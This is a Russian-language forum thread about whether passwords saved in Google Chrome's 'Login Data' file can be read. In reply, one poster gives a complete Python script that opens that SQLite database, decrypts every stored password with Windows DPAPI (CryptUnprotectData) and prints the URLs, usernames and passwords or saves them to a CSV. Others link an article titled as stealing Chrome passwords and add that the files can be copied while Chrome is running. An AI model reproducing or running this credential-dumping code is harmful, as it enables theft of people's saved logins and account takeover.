Где-то вычитал, что файлы от Google Chrome хранятся в файле Login Data, который находится здесь: AppData\Local\Google\Chrome\User Data\Default Может ли человек заменить эти файлы у себя на ПК и увидеть мои пароли в настройках Chrome?
меня тоже мучает этот вопрос, а если быть конкретнее - ВОЗМОЖНО ЛИ РАСШИФРОВАТЬ СТРОКУ ПАРОЛЯ ИЛИ BLOB значение ??? Судя по статье хабра ,эта строка заширована в битах...если так ,то есть исходник для расшифровки битов с БД SQL3 типа. ...это для меня уже дело принципа...в одном месте пишут что возможно ...в другом что не возможно....ХОЧЕТСЯ ИСТИНЫ!!)
подскажи как??? дай хоть какую нибудь зацепку для дальнейшего поиска моего ...или утилиту ..вообще было б огненно)
вот скриптик, только хром должен быть закрытым для его работы: PHP: #gets saved passwords from Chrome#need to get Pywin32 python extension for this to workimport osfrom sys import exitimport sqlite3from win32crypt import CryptUnprotectDataimport argparsedef chromepath(): PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\' if (os.path.isdir(PathName) == False): print('Chrome not found') #exit(0) return PathName def main(): secret = [] path = chromepath() #path = "C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" try: connection = sqlite3.connect(path + "Login Data") #connection = sqlite3.connect("C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data") with connection: cursor = connection.cursor() v = cursor.execute('SELECT action_url, username_value, password_value FROM logins') value = v.fetchall() for i in value: password = CryptUnprotectData(i[2], None, None, None, 0)[1] if password: secret.append({ 'url': i[0], 'username': i[1], 'password': str(password) }) except sqlite3.OperationalError as e: if (str(e) == 'database is locked'): print('Google Chrome can\'t be running at the same time') exit(0) elif (str(e) == 'no such table: logins'): print('Could not find database name') exit(0) elif (str(e) == 'unable to open database file'): print('Could not find database path') exit(0) else: print(e) exit(0) if secret == []: print('no passwords saved in Chrome') else: return secret def csv(info): with open('chromepasswordlist.csv', 'wb') as result: result.write('url,username,password \n'.encode('utf-8')) for data in info: result.write(('%s, %s, %s \n' % (data['url'], data['username'], data['password'])).encode('utf-8'))def args_parser(): parser = argparse.ArgumentParser(description="gets Chrome saved passwords") parser.add_argument("-csv", help="Output to csv", action="store_true") args = parser.parse_args() if args.csv: csv(main()) else: for data in main(): print(data) print(password)if __name__ == '__main__': args_parser() там в соседних файлах и хистори можете посмотреть, аналогичная ситуация с оперой, с фаером не разбирался....
https://codeby.net/forum/threads/voruem-paroli-iz-google-chrome.58962/ - вот глянь статейку мою, гугл необязательно должен быть закрыт. Идея в том что протокол DPAPI который использует гугл для шифрования может расшифрован только на той машине на которой они были зашифрованы. Код там целый. Но как замечено переписать на чем угодно можно.
Насколько я понимаю, эти файлы можно скопировать в другое место, даже при запущенном хроме. И после натравить скрипт на копии файлов.